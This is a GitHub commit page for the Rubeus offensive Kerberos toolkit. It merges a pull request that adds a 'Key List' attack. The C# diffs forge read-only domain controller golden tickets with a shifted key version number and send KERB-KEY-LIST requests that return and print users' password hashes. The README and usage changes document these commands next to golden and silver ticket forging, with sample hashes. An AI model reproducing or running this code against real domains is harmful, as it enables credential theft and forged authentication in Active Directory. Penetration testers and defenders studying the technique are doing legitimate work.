Skip to content

Commit

Permalink
Merge pull request GhostPack#147 from JoeDibley/Key-List-Attack
Browse files Browse the repository at this point in the history
Kerberos Key-List-Request and Replies
  • Loading branch information
0xe7 authored Feb 3, 2023
2 parents 1f34e3f + 51f1863 commit f6685f4
Show file tree
Hide file tree
Showing 15 changed files with 208 additions and 21 deletions.
4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -552,6 +552,8 @@ The `/printargs` flag will print the arguments required to forge a ticket with t

Using a KDC proxy ([MS-KKDCP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kkdcp/5bcebb8d-b747-4ee5-9453-428aec1c5c38)) to make the request is possible using the `/proxyurl:URL` argument. The full URL for the KDC proxy is required, eg. https://kdcproxy.exmaple.com/kdcproxy

The `/keyList` flag was implemented for Kerberos [Key List Requests](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/732211ae-4891-40d3-b2b6-85ebd6f5ffff). These requests must utilise a forged partial TGT from a read-only domain controller in the `/ticket:BASE64|FILE.KIRBI` parameter, further details on this forged TGT in the [golden](#golden) section. Furthermore, the `/spn:x` field must be set to the KRBTGT SPN within the domain, eg. KRBTBT/domain.local.

Requesting a TGT for dfm.a and then using that ticket to request a service ticket for the "LDAP/primary.testlab.local" and "cifs/primary.testlab.local" SPNs:

C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
Expand Down Expand Up @@ -1351,6 +1353,8 @@ The `/oldpac` switch can be used to exclude the new *Requestor* and *Attributes*

The `/extendedupndns` switch will include the new extended UpnDns elements. This involved adding _2_ to the Flags, as well as containing the samaccountname and account SID.

The `/rodcNumber:x` parameter was added to perform kerberos [Key List Requests](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/732211ae-4891-40d3-b2b6-85ebd6f5ffff). The value of this parameter is the number specified after krbtgt_x the `msDS-KrbTgtLink` attribute of the read-only domain controller, eg. krbtgt_12345 would be 12345. This request requires certain flags which can be set using `/flags:forwardable,renewable,enc_pa_rep`. The key (`/des:X`, `/rc4:X`, `/aes128:X` or `/aes256:X`) used to encrypt is the KRBTGT_x accounts key. Further information can be found on Elad Shamir's blog post [here](https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06),

Forging a TGT using the `/ldap` flag to retrieve the information and the `/printcmd` flag to print a command to forge another ticket with the same PAC information:

C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd
Expand Down
10 changes: 7 additions & 3 deletions Rubeus/Commands/Asktgs.cs
Original file line number Diff line number Diff line change
Expand Up @@ -27,9 +27,13 @@ public void Execute(Dictionary<string, string> arguments)
bool u2u = false;
string targetUser = "";
bool printargs = false;

bool keyList = false;
string proxyUrl = null;

if (arguments.ContainsKey("/keyList"))
{
keyList = true;
}
if (arguments.ContainsKey("/outfile"))
{
outfile = arguments["/outfile"];
Expand Down Expand Up @@ -164,14 +168,14 @@ public void Execute(Dictionary<string, string> arguments)
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl);
Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList);
return;
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl);
Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList);
return;
}
else
Expand Down
14 changes: 13 additions & 1 deletion Rubeus/Commands/Golden.cs
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,12 @@ public void Execute(Dictionary<string, string> arguments)
string outfile = "";
bool ptt = false;
bool printcmd = false;
Int32 rodcNumber = 0;

if (arguments.ContainsKey("/rodcNumber"))
{
rodcNumber = Int32.Parse(arguments["/rodcNumber"]);
}
// user information mostly for the PAC
if (arguments.ContainsKey("/user"))
{
Expand Down Expand Up @@ -430,7 +435,14 @@ public void Execute(Dictionary<string, string> arguments)
extendedUpnDns,
outfile,
ptt,
printcmd
printcmd,
null,
null,
null,
null,
false,
false,
rodcNumber
);
return;
}
Expand Down
8 changes: 7 additions & 1 deletion Rubeus/Domain/Info.cs
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ public static void ShowLogo()
Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
Console.WriteLine(" v2.2.1 \r\n");
Console.WriteLine(" v2.2.2 \r\n");
}

public static void ShowUsage()
Expand Down Expand Up @@ -41,6 +41,9 @@ public static void ShowUsage()
Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Retrieve a service ticket using the Kerberos Key List Request options:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Expand Down Expand Up @@ -72,6 +75,9 @@ public static void ShowUsage()
Forge a golden ticket, setting values explicitly:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a golden ticket for a read only domain controller (for Key List Requests):
Rubeus.exe golden </rodcNumber:RODC_NUM> </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
Forge a silver ticket using LDAP to gather the relevent information:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
Expand Down
3 changes: 3 additions & 0 deletions Rubeus/Rubeus.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -133,6 +133,8 @@
<Compile Include="lib\krb_structures\Authenticator.cs" />
<Compile Include="lib\krb_structures\AuthorizationData.cs" />
<Compile Include="lib\krb_structures\Checksum.cs" />
<Compile Include="lib\krb_structures\PA_KEY_LIST_REP.cs" />
<Compile Include="lib\krb_structures\EncryptedPAData.cs" />
<Compile Include="lib\krb_structures\EncKDCRepPart.cs" />
<Compile Include="lib\krb_structures\EncKrbCredPart.cs" />
<Compile Include="lib\krb_structures\EncKrbPrivPart.cs" />
Expand Down Expand Up @@ -170,6 +172,7 @@
<Compile Include="lib\krb_structures\PA_DATA.cs" />
<Compile Include="lib\krb_structures\PA_ENC_TS_ENC.cs" />
<Compile Include="lib\krb_structures\PA_FOR_USER.cs" />
<Compile Include="lib\krb_structures\PA_KEY_LIST_REQ.cs" />
<Compile Include="lib\krb_structures\PA_PAC_OPTIONS.cs" />
<Compile Include="lib\krb_structures\PA_S4U_X509_USER.cs" />
<Compile Include="lib\krb_structures\PA_PK_AS_REP.cs" />
Expand Down
23 changes: 17 additions & 6 deletions Rubeus/lib/Ask.cs
Original file line number Diff line number Diff line change
Expand Up @@ -317,7 +317,7 @@ public static int GetKeySize(Interop.KERB_ETYPE etype) {
}
}

public static void TGS(KRB_CRED kirbi, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false, string proxyUrl = null)
public static void TGS(KRB_CRED kirbi, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false, string proxyUrl = null, bool keyList = false)
{
// kirbi = the TGT .kirbi to use for ticket requests
// service = the SPN being requested
Expand All @@ -339,12 +339,12 @@ public static void TGS(KRB_CRED kirbi, string service, Interop.KERB_ETYPE reques
foreach (string sname in services)
{
// request the new service ticket
TGS(userName, domain, ticket, clientKey, paEType, sname, requestEType, outfile, ptt, domainController, display, enterprise, roast, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl);
TGS(userName, domain, ticket, clientKey, paEType, sname, requestEType, outfile, ptt, domainController, display, enterprise, roast, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl, keyList);
Console.WriteLine();
}
}

public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false, string proxyUrl = null)
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false, string proxyUrl = null, bool keyList = false)
{

if (display)
Expand All @@ -358,7 +358,9 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket,
Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType);
}

if (!String.IsNullOrEmpty(service))
if (keyList)
Console.WriteLine("[*] Building KeyList TGS-REQ request for: '{0}'", userName);
else if (!String.IsNullOrEmpty(service))
Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
else if (u2u)
Console.WriteLine("[*] Building User-to-User TGS-REQ request for: '{0}'", userName);
Expand All @@ -371,7 +373,7 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket,
if (u2u && tgs != null && String.IsNullOrEmpty(service))
service = tgs.enc_part.ticket_info[0].pname.name_string[0];

byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u);
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u, keyList);

byte[] response = null;
string dcIP = null;
Expand Down Expand Up @@ -417,6 +419,14 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket,
AsnElt ae = AsnElt.Decode(outBytes);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

// extract hash for keylist - Need null for display options
string keyListHash = null;
if (keyList)
{
keyListHash = Helpers.ByteArrayToString(encRepPart.encryptedPaData.PA_KEY_LIST_REP.encryptionKey.keyvalue);
}


// if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT
if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0))
{
Expand Down Expand Up @@ -513,7 +523,8 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket,
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);

LSA.DisplayTicket(kirbi, 2, false, false, false, false,
string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey));
string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey),
null,null,null,string.IsNullOrEmpty(keyListHash) ? null : Helpers.StringToByteArray(keyListHash));
}

if (!String.IsNullOrEmpty(outfile))
Expand Down
16 changes: 12 additions & 4 deletions Rubeus/lib/ForgeTicket.cs
Original file line number Diff line number Diff line change
Expand Up @@ -74,7 +74,8 @@ public static void ForgeTicket(
string s4uProxyTarget = null,
string s4uTransitedServices = null,
bool includeAuthData = false,
bool noFullPacSig = false
bool noFullPacSig = false,
Int32 rodcNumber = 0
)
{
// vars
Expand Down Expand Up @@ -970,9 +971,16 @@ public static void ForgeTicket(

// initialize the ticket and add the enc_part
Console.WriteLine("[*] Generating Ticket");
Ticket ticket = new Ticket(domain.ToUpper(), sname);
ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3);

Ticket ticket = new Ticket(domain.ToUpper(), sname);
// when performing keylist attack the kvnum is shifted left 16 bits
if (rodcNumber == 0)
{
ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3);
}
else
{
ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, (uint)rodcNumber << 16);
}
// add the ticket
cred.tickets.Add(ticket);

Expand Down
4 changes: 3 additions & 1 deletion Rubeus/lib/Interop.cs
Original file line number Diff line number Diff line change
Expand Up @@ -255,7 +255,9 @@ public enum PADATA_TYPE : UInt32
PA_S4U_X509_USER = 130,
PA_PAC_OPTIONS = 167,
PK_AS_09_BINDING = 132,
CLIENT_CANONICALIZED = 133
CLIENT_CANONICALIZED = 133,
KEY_LIST_REQ = 161,
KEY_LIST_REP = 162
}

// from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6
Expand Down
8 changes: 7 additions & 1 deletion Rubeus/lib/LSA.cs
Original file line number Diff line number Diff line change
Expand Up @@ -519,7 +519,7 @@ public static void DisplaySessionCreds(List<SESSION_CRED> sessionCreds, TicketDi
}
}

public static void DisplayTicket(KRB_CRED cred, int indentLevel = 2, bool displayTGT = false, bool displayB64ticket = false, bool extractKerberoastHash = false, bool nowrap = false, byte[] serviceKey = null, byte[] asrepKey = null, string serviceUser = "", string serviceDomain = "", byte[] krbKey = null)
public static void DisplayTicket(KRB_CRED cred, int indentLevel = 2, bool displayTGT = false, bool displayB64ticket = false, bool extractKerberoastHash = false, bool nowrap = false, byte[] serviceKey = null, byte[] asrepKey = null, string serviceUser = "", string serviceDomain = "", byte[] krbKey = null, byte[] keyList = null)
{
// displays a given .kirbi (KRB_CRED) object, with display options

Expand Down Expand Up @@ -575,6 +575,12 @@ public static void DisplayTicket(KRB_CRED cred, int indentLevel = 2, bool displa
Console.WriteLine("{0}Flags : {1}", indent, cred.enc_part.ticket_info[0].flags);
Console.WriteLine("{0}KeyType : {1}", indent, keyType);
Console.WriteLine("{0}Base64(key) : {1}", indent, b64Key);

// If KeyList attack then present the password hash
if (keyList != null)
{
Console.WriteLine("{0}Password Hash : {2}", indent, userName, Helpers.ByteArrayToString(keyList));
}

//We display the ASREP decryption key as this is needed for decrypting
//PAC_CREDENTIAL_INFO inside both the AS-REP and TGS-REP Tickets when
Expand Down
Loading

0 comments on commit f6685f4

Please sign in to comment.